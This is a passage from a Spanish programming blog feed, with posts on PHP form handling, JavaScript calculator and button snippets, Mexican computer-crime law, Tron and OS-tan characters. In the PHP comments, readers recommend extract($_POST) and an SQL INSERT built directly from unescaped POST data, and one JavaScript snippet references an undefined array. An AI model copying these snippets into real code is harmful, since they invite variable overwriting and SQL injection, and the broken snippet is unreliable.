$indice=>$cadena) { <br/>$$indice = $cadena; <br/>} <br/>?> <br/><br/>ya ni siquiera nos hace falta el eval()<br /></p><p><strong>Manolo</strong><br /> <a href='mailto:mcamara@innetmc.com'>mcamara@innetmc.com</a> 27/11/03<br /></p><p>Pues tenemos una utilísima función en php que nos hace este trabajo automáticamente, es la siguiente, y con sólo una línea de codigo: <br/><br/>extract($_POST); <br/><br/>esta crea las variables automáticamente igual que se describe en este artículo. Aparte esta función tiene muchas mas utilidades, mirad, mirad: <a target='_blank' href='http://es.php.net/manual/es/function.extract.php'>es.php.net/manual/es/function.extract.php</a><br /> <br/><br/>saludos.<br /></p><p><br /> </p><p><strong>Ramon Sosa</strong><br /> <a href='mailto:ramsosa@yahoo.com'>ramsosa@yahoo.com</a> 08/12/03<br /></p><p>Efectivamente es más fácil utilizar la función extract, pero para crear una Instrucción MySql, es preferibe conservarlo como array y hacer lo siguiente: <br/>$tabla='tabla'; <br/>$arraypost=array(); <br/>foreach($_POST as $k => $v) $arraypost[]="$k='$v'"; <br/>$sql="INSERT INTO $tabla SET ".implode(', ',$arraypost); <br/><br/>// Utilizar las funciones implode y explode son muy prácticas y se van a ahorrar muchos dolores de cabeza, también el extract es muy bueno...<br /></p><p><br /> </p><p>Fuente: http://es.php.net/</p></span>EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-85252713017847403232010-07-25T17:10:00.001-07:002010-07-25T17:10:14.373-07:00Línea de código para incrustar un elemento de flash en html<p>Con esta línea puedes incrustar una película flash (SWF) en un HTML en pantalla completa. Si lo deseas mas chico altera las propiedades.</p> <table border="2" cellspacing="0" cellpadding="2" width="400"><tbody> <tr> <td valign="top" width="400">Código</td> </tr> <tr> <td bgcolor="#d3d3d3" valign="top" width="400"> <p><embed width=100% height=100% fullscreen=yes src="carpeta/PeliculaFlash.swf"></p> </td> </tr> </tbody></table> <p>fullscreen acepta los valores “yes” y “no” que permite que se ponga en pantalla completa;</p> <p>width y height (ancho y alto)aceptan cualquier porcentaje entre 0% y 100% o un numero de pixeles ejemplo: height=”400”</p> <p>src es la dirección del SWF con respecto al archivo HTML por ejemplo: si <pagina.html> y <pelicula.swf> estan en la misma carpeta, la dirección de <src> seria: src=“pelicula.swf”</p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-73303249342898969572010-07-25T16:20:00.001-07:002010-07-25T16:21:55.035-07:00Botones con javaScript que manejan el contenido de un array<p> </p> <p>Con los botones es posible moverse a través de un arreglo y mostrar el contenido con un altert. </p> <table border="2" cellspacing="0" cellpadding="2" width="400"><tbody> <tr> <td valign="top" width="400">Código</td> </tr> <tr> <td bgcolor="#d3d3d3" valign="top" width="400"> <p><form name = "botones" action=""> <br /><input name="next" type="Button" value="Siguiente" onclick="GoNext()"> <br /><input name="back" type="Button" value="Anterior" onclick="GoBack()"> <br /><input name="random" type="Button" value="Aleatorio" onclick="Random()"> </p> <p><SCRIPT LANGUAGE="JavaScript"> </p> <p>//saber posicion --->  posicionactual[apuntador]; <br />var form = document.botones; <br />var apuntador= 0; <br />var posicionactual= new Array() <br />posicionactual[0]="Empty"; <br />posicionactual[1]="Uno"; <br />posicionactual[2]="Dos"; <br />posicionactual[3]="Tres"; <br />posicionactual[4]="Cuatro"; </p> <p>function GoNext(){ <br />apuntador++; <br />Alerta(); <br />}; <br />function GoBack(){ <br />apuntador--; <br />Alerta(); <br />}; <br />function Random(){ <br />apuntador=Math.floor(Math.random()*5); <br />Alerta(); <br />}; <br />function Alerta(){ <br />//alert test <br />alert(cancionactual[apuntador]); <br />}; <br /></SCRIPT></p> </td> </tr> </tbody></table> <p>Sólo copia y pega el código en el bloc de notas, guardalo como BotonesArreglo.html o con cualquier nombre pero con extensión html</p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-3320757512221633012010-07-25T14:41:00.001-07:002010-07-25T15:01:34.743-07:00Calculadora en JavaScript<p></p><p>Ingeniosa solución para crear una calculadora con java scrpt realizado por mundojavascript.</p><table border="2" cellspacing="0" cellpadding="2" width="380"><tbody><tr><td valign="top" width="380">Código</td></tr><tr><td bgcolor="#d3d3d3" valign="top" width="380"><p></p><p></p><p></p><p></p><p></p><p></p><p></p><pre><p><p></p><p><FORM name="Keypad" action=""><br /></p><p></p><p><p></p><p><B><br /></p><p></p><p><p></p><p><TABLE border=2 width=50 height=60 cellpadding=1 cellspacing=5 ><br /></p><p></p><p><p></p><p><TR><br /></p><p></p><p><p></p><p><TD colspan=3 align=middle><br /></p><p></p><p><p></p><p><input name="ReadOut" type="Text" size=24 value="0" width=100% ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnClear" type="Button" value=" C " onclick="Clear()" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><input name="btnClearEntry" type="Button" value=" CE " onclick="ClearEntry()" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p></TR><br /></p><p></p><p><p></p><p><TR><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnSeven" type="Button" value=" 7 " onclick="NumPressed(7)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnEight" type="Button" value=" 8 " onclick="NumPressed(8)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnNine" type="Button" value=" 9 " onclick="NumPressed(9)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnNeg" type="Button" value=" +/- " onclick="Neg()" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnPercent" type="Button" value=" % " onclick="Percent()" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p></TR><br /></p><p></p><p><p></p><p><TR><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnFour" type="Button" value=" 4 " onclick="NumPressed(4)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnFive" type="Button" value=" 5 " onclick="NumPressed(5)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnSix" type="Button" value=" 6 " onclick="NumPressed(6)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD align=middle><input name="btnPlus" type="Button" value=" + " onclick="Operation('+')" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD align=middle><input name="btnMinus" type="Button" value=" - " onclick="Operation('-')" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p></TR><br /></p><p></p><p><p></p><p><TR><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnOne" type="Button" value=" 1 " onclick="NumPressed(1)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnTwo" type="Button" value=" 2 " onclick="NumPressed(2)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnThree" type="Button" value=" 3 " onclick="NumPressed(3)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p></TD> <TD align=middle><input name="btnMultiply" type="Button" value=" * " onclick="Operation('*')" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD align=middle><input name="btnDivide" type="Button" value=" / " onclick="Operation('/')" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p></TR><br /></p><p></p><p><p></p><p><TR><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnZero" type="Button" value=" 0 " onclick="NumPressed(0)" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnDecimal" type="Button" value=" . " onclick="Decimal()" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD colspan=3><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p><TD><br /></p><p></p><p><p></p><p><input name="btnEquals" type="Button" value=" = " onclick="Operation('=')" ><br /></p><p></p><p><p></p><p></TD><br /></p><p></p><p><p></p><p></TR><br /></p><p></p><p><p></p><p></TABLE><br /></p><p></p><p><p></p><p></B><br /></p><p></p><p><p></p><p></FORM><br /></p><p></p><p><p></p><p><SCRIPT LANGUAGE="JavaScript"><br /></p><p></p><p><p></p><p><!-- Este script y muchos mas estan disponibles en --><br /></p><p></p><p><p></p><p><!-- Galeria de javaScript http://www16.brinkster.com/galeriajs --><br /></p><p></p><p><p></p><p><!-- Begin<br /></p><p></p><p><p></p><p>var FKeyPad = document.Keypad;<br /></p><p></p><p><p></p><p>var Accum = 0;<br /></p><p></p><p><p></p><p>var FlagNewNum = false;<br /></p><p></p><p><p></p><p>var PendingOp = "";<br /></p><p></p><p><p></p><p>function NumPressed (Num) {<br /></p><p></p><p><p></p><p>if (FlagNewNum) {<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value = Num;<br /></p><p></p><p><p></p><p>FlagNewNum = false;<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>else {<br /></p><p></p><p><p></p><p>if (FKeyPad.ReadOut.value == "0")<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value = Num;<br /></p><p></p><p><p></p><p>else<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value += Num;<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>function Operation (Op) {<br /></p><p></p><p><p></p><p>var Readout = FKeyPad.ReadOut.value;<br /></p><p></p><p><p></p><p>if (FlagNewNum && PendingOp != "=");<br /></p><p></p><p><p></p><p>else<br /></p><p></p><p><p></p><p>{<br /></p><p></p><p><p></p><p>FlagNewNum = true;<br /></p><p></p><p><p></p><p>if ( '+' == PendingOp )<br /></p><p></p><p><p></p><p>Accum += parseFloat(Readout);<br /></p><p></p><p><p></p><p>else if ( '-' == PendingOp )<br /></p><p></p><p><p></p><p>Accum -= parseFloat(Readout);<br /></p><p></p><p><p></p><p>else if ( '/' == PendingOp )<br /></p><p></p><p><p></p><p>Accum /= parseFloat(Readout);<br /></p><p></p><p><p></p><p>else if ( '*' == PendingOp )<br /></p><p></p><p><p></p><p>Accum *= parseFloat(Readout);<br /></p><p></p><p><p></p><p>else<br /></p><p></p><p><p></p><p>Accum = parseFloat(Readout);<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value = Accum;<br /></p><p></p><p><p></p><p>PendingOp = Op;<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>function Decimal () {<br /></p><p></p><p><p></p><p>var curReadOut = FKeyPad.ReadOut.value;<br /></p><p></p><p><p></p><p>if (FlagNewNum) {<br /></p><p></p><p><p></p><p>curReadOut = "0.";<br /></p><p></p><p><p></p><p>FlagNewNum = false;<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>else<br /></p><p></p><p><p></p><p>{<br /></p><p></p><p><p></p><p>if (curReadOut.indexOf(".") == -1)<br /></p><p></p><p><p></p><p>curReadOut += ".";<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value = curReadOut;<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>function ClearEntry () {<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value = "0";<br /></p><p></p><p><p></p><p>FlagNewNum = true;<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>function Clear () {<br /></p><p></p><p><p></p><p>Accum = 0;<br /></p><p></p><p><p></p><p>PendingOp = "";<br /></p><p></p><p><p></p><p>ClearEntry();<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>function Neg () {<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value = parseFloat(FKeyPad.ReadOut.value) * -1;<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>function Percent () {<br /></p><p></p><p><p></p><p>FKeyPad.ReadOut.value = (parseFloat(FKeyPad.ReadOut.value) / 100) * parseFloat(Accum);<br /></p><p></p><p><p></p><p>}<br /></p><p></p><p><p></p><p>// End --><br /></p><p></p><p><p></p><p></SCRIPT><br /></p><p></p><p><p></p><p><br><br><br /></p><p></p><p><p></p><p><center><small><small>Este script y muchos mas est&aacute;n disponibles en<br><br /></p><p></p><p><p></p><p><a href="http://www.precios10.com/mundojavascript">Mundo Javascript</small></small></a></center> </p><p></p></pre><br /></td><br /></tr><br /></tbody></table><pre>Sólo copia y pega el código en un bloc de notas y guárdalo como Calculadora.html o cualquier nombre pero con extensión html.<br />fuente: http://www.precios10.com/mundojavascript</pre>EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-56945374500967533812010-07-06T21:06:00.001-07:002010-07-06T21:06:08.714-07:00Ley mexicana en cuestión informática<p>Un poco de leyes en México:</p> <p>El Código Penal Federal, en su artículo 211 establece: “A quien revele, divulgue, o utilice indebidamente o en perjuicio de otro información o imágenes obtenidas en una comunicación privada se le aplicarán sanciones de seis a doce años de prisión y de trescientos a seiscientos días multa” </p> <p>y en relación a éste, el artículo 211 bis1 a la letra dice: “Al que sin autorización modifique, destruya o provoque perdida de información contenida en sistemas o equipos de informática, protegidos por algún mecanismo de seguridad, se le impondrán de seis meses a dos años de prisión y de cien a trescientos días multa”. </p> <p>De lo anterior dos reflexiones son importantes, primero: incluso el Messenger, que es un medio de comunicación privado, esta sujeto a leyes, por lo que divulgar las conversaciones llevadas a cabo por este medio es ilegal, y segundo: es necesario contar por lo menos con un password en la computadora personal, aunque sea fácil adivinarla, el simple hecho de contar con un “mecanismo de seguridad” lo sujeta a las leyes mencionadas.</p> <p>Queda pendiente revisar las alteraciones que se hicieron a estos artículos hace menos de un año, que permiten a instituciones de gobierno usar información privada, como llamadas telefónicas para casos de secuestro o extorsión, aunque no lo haré yo, porque preferiría que eso mejor lo explicara un experto.</p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com1tag:blogger.com,1999:blog-6314551663075035580.post-10395199976211549442010-07-05T00:06:00.000-07:002010-07-05T00:22:49.330-07:00Tron Pelicula de animación de disney de 1982 y Tron Legacy<a href="http://airkwld.files.wordpress.com/2009/09/tron-legacy-poster.jpg"><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 482px; DISPLAY: block; HEIGHT: 468px; CURSOR: hand" border="0" alt="" src="http://airkwld.files.wordpress.com/2009/09/tron-legacy-poster.jpg" /></a><br />Con la salida en diciembre da la pelicula "TRONlegacy" he aqui unos datos muy geeks de la pelicula original de 1982.<br /><br /><br />*"Tron" recibe su nombre por un comando en BASIC. En varios dialectos de este lenguaje de programación la orden TRON activa el modo de seguimiento de variables (trace) para ir escribiendo en pantalla la línea de código que ha ejecutado cada acción, lo que permite al programador visualizar lo que ocurre en el sistema. Es decir, TRACE-ON deriva en TR-ON. La orden opuesta se denomina TROFF (TRACE-OFF).<br />*Aunque el título de la película y el nombre del personaje principal son una referencia a un comando de computadora, el director Steven Lisberger dejó claro en una entrevista que eligió el nombre porque le pareció “electrónico”, y que no sabía nada sobre los comandos de computadora hasta más tarde. Es interesante, sobre todo cuando se sabe que el comando TRON de BASIC tiene, en la realidad, una función que es similar a la del programa de la película.<br /><br />Video: <a href="http://www.youtube.com/watch?v=-3ODe9mqoDE">http://www.youtube.com/watch?v=-3ODe9mqoDE</a><br /><br />sintesis:<br />Narra las aventuras de un programador que se introduce dentro de los circuitos de una computadora donde los programas tienen vida y personalidad propias.<br /><br />Flynn (Jeff Bridges) era un programador joven y presumido que trabajaba en una megacorporación. Uno de los ejecutivos de esta corporación es Dillinger (David Warner). Flynn ha sido engañado por Dillinger respecto a las ganancias y autoría de los juegos que ha creado. De hecho, Dillinger vendió los videojuegos de Flynn y pasaron a su propiedad. Ante la incapacidad de probar que él es el autor, y renunciando de la compañía, Flynn se ve obligado a trabajar en arcades. Muchos de los juegos que él mismo ha creado se encuentran en su local de arcade.<br /><br />Después de obtener algo de información de los actuales empleados, Alan Bradley (Bruce Boxleitner), y la doctora Lora Baines (Cindy Morgan), Dillinger incrementa la seguridad en el 'Control Central de Procesos' o CCP (un mainframe de inteligencia artificial de la compañía). En efecto, esto deja a los programadores fuera de la compañía. Después de eso acuden a Flynn, con objeto de solicitarle ayuda para burlar la seguridad del CCP. Alan y Lora buscan obtener mayores libertades en su programación. Flynn busca evidencia de sus creaciones robadas.<br /><br />Después de una ardua travesía para entrar al edificio, Flynn se enfrenta al CCP y es absorbido ("digitalizado") dentro de un mundo digital tiránicamente dominado por el CCP. En el "mundo real", la interfaz del CCP recuerda a los escritorios de alta tecnología. Desde dentro del sistema de cómputo, el CCP tiene la forma de una cara cuadriculada, que irradia luz roja con energía.<br /><br />En este mundo, los programas son representados con personajes parecidos a sus creadores; Flynn es inicialmente confundido con un programa, "Clu", que había escrito previamente. Flynn necesita encontrar a "Tron", un programa de seguridad creado por Alan. Tron puede ayudar a Flynn a pelear contra el despótico CCP para liberar el mainframe de la compañía y escapar al mundo real. En el camino tiene que participar en varios juegos de acción que incluyen las "motos de luz" y un juego parecido a la cesta punta.<br /><br /><br />Secuela: Tron Legacy<br />Es una película estadounidense de ciencia ficción que se estrena en cines el 17 de diciembre de 2010 en los Estados Unidos, según lo anunciado por Walt Disney Pictures. Es la segunda parte para la película Tron de 1982 del director Steven Lisberger, quien pasa a ser productor en la secuela.<br /><br />Sam Flynn, un experto en tecnología de 27 años e hijo de Kevin Flynn, investiga la desaparición de su padre y se adentra en el mismo mundo de feroces programas y juegos de Arcade donde su padre ha estado viviendo durante 25 años. Junto con la amiga más leal de Kevin, padre e hijo se embarcan en una travesía a vida o muerte a través de un universo cibernético visualmente impactante que va más allá de lo extremadamente futurista y peligroso.<br /><br />Tron Legacy es una innovadora aventura en 3D que tiene lugar en el increíble mundo digital de Tron. No se ha visto nunca nada igual en la gran pantalla. Sam Flynn (Garret Hedlund), un experto en tecnología de 27 años, hijo de Kevin Flynn (interpretado por el ganador de un Oscar Jeff Bridges), se ve inmerso en el ciber mundo de Tron mientras investiga la misteriosa desaparición de su padre, atrapado allí durante 25 años. Junto a su fiel amiga Quorra (Olivia Wilde), habitante de TRON, padre e hijo se embarcan en una aventura a vida o muerte para escapar del todopoderoso y controlador ciber universo de Tron, que ha avanzado tecnológicamente haciéndolo mucho más peligroso. Visualmente impactante, gracias a los efectos en 3D y a las espectaculares escenas de acción, Tron Legacy de Disney te llevará a otra dimensión cuando se estrene en diciembre de 2010. Está producida por Steve Lisberger, uno de los escritores y director de la película original de Tron (1982), mientras que la vibrante y sorprendente banda sonora de TRON corre a cargo de Daft Punk, varias veces nominados a los premios Grammy.<br /><br />Video: <a href="http://www.youtube.com/watch?v=1AwvuirSEAA">http://www.youtube.com/watch?v=1AwvuirSEAA</a><br /><br /><br /><br />fuente: http://es.wikipedia.org/wiki/TronEDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-28280589937884362412010-07-04T14:12:00.000-07:002010-07-04T14:59:53.163-07:00Las OS Tan (OS Girls)Las OS-Tan (OS Girls) son representaciones, por medio de personajes en estilo manga, de sistemas operativos o consolas de juegos.<br />El personaje mas popular fue una chica llamada XP-Tan que puede se vita en el siguiente video:<br /><a href="http://www.youtube.com/watch?v=2tV61x42pgM&feature=related">http://www.youtube.com/watch?v=2tV61x42pgM&feature=related</a><br />recibe al usuario al inicio de sesión.<br /><p><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 368px; DISPLAY: block; HEIGHT: 400px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5490162874889357618" border="0" alt="" src="http://3.bp.blogspot.com/_Xi9RiXfhuRY/TDD6C-zRSTI/AAAAAAAAAa8/uVT1NRS8xPk/s400/xpwin.jpg" /><br />Las "chicas SO" son los personajes favoritos de algunos programadores y geeks quienes pueden descargar desde wallpapers, mangas(historietas), avatares, iconos, videos hasta animaciones que corren en en el escritorio a modo de virtual girl o desktop puppet<br /><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 320px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5490162875449963842" border="0" alt="" src="http://2.bp.blogspot.com/_Xi9RiXfhuRY/TDD6DA47dUI/AAAAAAAAAbE/owOy-SwEBV4/s400/ubunto_tan.jpg" /> En wikipedia dan a conocer las carateristicas principales de la mayoria de los personajes, asi como caracteristicas distintivas, por ejemlo se menciona que el tamaño de los atributos fisicos de los personajes o su apetito, definen los recurso de memoria que consumen el sistema operativo que representan. <a href="http://es.wikipedia.org/wiki/OS-tan">http://es.wikipedia.org/wiki/OS-tan</a></p><a href="http://4.bp.blogspot.com/_Xi9RiXfhuRY/TDD6Ccb8jSI/AAAAAAAAAa0/4gIhAk4u9dc/s1600/Linux_tan.jpg"><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 300px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5490162865664724258" border="0" alt="" src="http://4.bp.blogspot.com/_Xi9RiXfhuRY/TDD6Ccb8jSI/AAAAAAAAAa0/4gIhAk4u9dc/s400/Linux_tan.jpg" /></a><br />Si bien su nombre esta directamente relacionado con los Sistemas Operaticvos, es usual encontrar una que otra "Tan" de Consolas de videojuegos como X-BOX, Wii ó también personajes que representan software comó como Firefox, algunos antivirus y hasta el motor de busqueda de Google.<br /><div><a href="http://4.bp.blogspot.com/_Xi9RiXfhuRY/TDD6ByZWNxI/AAAAAAAAAas/X7Gvfko3z-c/s1600/win98.png"><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 400px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5490162854379534098" border="0" alt="" src="http://4.bp.blogspot.com/_Xi9RiXfhuRY/TDD6ByZWNxI/AAAAAAAAAas/X7Gvfko3z-c/s400/win98.png" /></a>Son tan populares que cuentan con su propio foro, en el que cualquier aficionado puede subir el "Fan_ART" que desarrollen. <a href="http://ostan-collections.net/">http://ostan-collections.net/</a><br /><div><a href="http://3.bp.blogspot.com/_Xi9RiXfhuRY/TDD6BjtSCOI/AAAAAAAAAak/r4fTBPpf4KU/s1600/win95_.jpg"><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 256px; DISPLAY: block; HEIGHT: 400px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5490162850436614370" border="0" alt="" src="http://3.bp.blogspot.com/_Xi9RiXfhuRY/TDD6BjtSCOI/AAAAAAAAAak/r4fTBPpf4KU/s400/win95_.jpg" /></a><br />En este video podemos ver algunas de las aplicaciones e imagenes desarrolladas <a href="http://www.youtube.com/watch?v=PT43vA-va4w&feature=related">http://www.youtube.com/watch?v=PT43vA-va4w&feature=related</a><br />aqui pueden descargar una galeria de las imágenes más populares:<br /><a href="http://www.megaupload.com/?d=6UPK0YL6">http://www.megaupload.com/?d=6UPK0YL6</a><br /><br /><br />visto en: http://nyantanime.net/2010/01/galeria-os-tan-el-software-en-su-version-mas-bella/<br /><br /><br /><br /><br /><div></div></div></div>EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-52673431263744454702010-06-27T21:59:00.000-07:002010-06-27T21:59:50.561-07:00Por que las variables deberian de ser tipo "final" por defaultEl titulo original del articulo es: "Why every Java field should have been final by default." explica porque el autor considera que se deberían de colocar las variables que usemos durante un desarrollo en Java como tipo final por defacto (o por default), explica que para saber que variables serian la excepción a esta "regla" se debe tener en cuenta el concepto de mutabilidad que precede desde C/C++ para lo cual nos plantea la suguente reflexión: "A good way to figure out if you want to remove the final keyword is to ask yourself: “Do I really want this variable to be mutable ?”." "Una buena forma de saber si quieres remover la palabra reservada "final", es preguntarse a sí mismo ¿De verdad quiero que esta variable sea mutable?<br />Para entender mejor el concepto el autor colocó unos ejemplos en su articulo.<br /><br /><a href="http://javarizon.wordpress.com/2010/06/26/why-every-java-field-should-have-been-final-by-default/">http://javarizon.wordpress.com/2010/06/26/why-every-java-field-should-have-been-final-by-default/</a>EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-25830180256304858542010-06-27T20:25:00.000-07:002010-06-27T20:25:36.589-07:0010 Frases de Linus TorvaldsFrases del creador del Kernel de Linux.<br /><br />1. Dijkstra probablemente me odie (en kernel/sched.c)<br />2. Soy un idiota… al menos este bug me llevó unos 5 minutos para encontrarlo (en respuesta a un bug report)<br />3. ¿Cómo debería saber si funciona? Para eso están los beta testers. Yo solo programo. (en un post)<br />4. Si quieres viajar por el mundo y que te inviten a hablar en numerosos lugares, escribe un sistema operativo basado en Unix (fuente desconocida)<br />5. Realmente, no me estoy preocupando de destruir Microsoft. Eso será justamente un efecto colateral (en una entrevista en el New York Times)<br />6. Un número infinito de monos escribiendo en GNU emacs no podrían hacer nunca un buen programa (en alusión al Teorema de los infinitos monos)<br />7. El software libre es como el sexo, es mejor cuando es gratis (en respuesta a alguien preocupado por el futuro de Linux)<br />8. Todos sabemos que Linux es genial, hace bucles infinitos en 5 segundos (en el Amsterdam Linux Symposium)<br />9. Otro es el hecho de que Linux tenga un nombre cool, ¿podría alguien explicarme porque debería de usar Linux sobre BSD? No. Es así. EL nombre cool, es así. Trabajamos muy duro en crear un nombre que puede llamar la atención a la mayoría de las personas, y realmente valió la pena: miles de personas están usando Linux para poder decir: “¿OS/2? Hah. Yo tengo Linux. Un nombre cool“. 386BSD cometío el fallo de poner en el nombre un montón de números y abreviaciones extrañas, y eso alejó a mucha gente porque sonaba demasiado técnico. (en respuesta a una cuestión sobre Linux)<br />10. La inteligencia es la habilidad de evitar hacer el trabajo, consiguiendo el trabajo hecho. (fuente desconocida)<br /><br /><br /><a href="http://www.guapacho.net/2007/10/10-frases-de-linus-torvalds/">10 Frases de Linus Torvalds</a>EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-83636801640895966162010-06-05T00:00:00.000-07:002010-06-05T00:00:49.579-07:00Eclipse 3.5 Galileo + Español + C/C++ y Pascal + CDT + MinGW + GBD debugger - JoniJnm.es - Foro<a href="http://www.jonijnm.es/web/foro/749-programacion/14380-eclipse-35-galileo--espanol--cc-y-pascal--cdt--mingw--gbd-debugger.html">Eclipse 3.5 Galileo + Español + C/C++ y Pascal + CDT + MinGW + GBD debugger - JoniJnm.es - Foro</a><br /><br />El tutorial que me ayudó a configurar Eclipse Galileo para programar con c++ esta en el siguiente link:<br /><br /><a href="http://www.jonijnm.es/web/foro/749-programacion/14380-eclipse-35-galileo--espanol--cc-y-pascal--cdt--mingw--gbd-debugger.html">http://www.jonijnm.es/web/foro/749-programacion/14380-eclipse-35-galileo--espanol--cc-y-pascal--cdt--mingw--gbd-debugger.html</a><br /><br />y como dice en su propio ejemplo:<br /><br />...<br />cout<<"Gracias a JoniJnm.es";<br />...EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-16063689706341633282010-05-16T07:41:00.000-07:002010-05-16T07:41:05.412-07:00Lectores de PDF OpenSource | Paraíso Geek<a href="http://www.paraisogeek.com/lectores-de-pdf-opensource/">Lectores de PDF OpenSource Paraíso Geek</a><br /><br />Esta es una excelente recomendación de lectores de PDF de código libre.<br />la descripción en español esta en esta pagina: <a href="http://www.paraisogeek.com/lectores-de-pdf-opensource/">www.paraisogeek.com/lectores-de-pdf-opensource/</a><br />pero puedes descargarlos directamente de la página: <a href="http://pdfreaders.org/">http://pdfreaders.org/</a> donde inclusive te recomiendan cual es mejor para tu sistema operativo (hay versiones para Windows, Linux, MacOS).<br /><br /><img src="http://pdfreaders.org/graphics/pdfreaders-logo.png" />EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-29125185344462446352010-04-27T22:26:00.001-07:002010-04-27T22:26:47.963-07:00¿Cómo funcionan los caracteres de seguridad en los registros por internet?<p align="justify"><a href="http://lh4.ggpht.com/_Xi9RiXfhuRY/S9fGx8ABVYI/AAAAAAAAAZk/rRGmfyIev0Q/s1600-h/fb%5B3%5D.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="fb" border="0" alt="fb" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/S9fG0ejsV_I/AAAAAAAAAZo/BoXA7L1RkZ0/fb_thumb%5B1%5D.png?imgmax=800" width="504" height="253" /></a> </p> <p 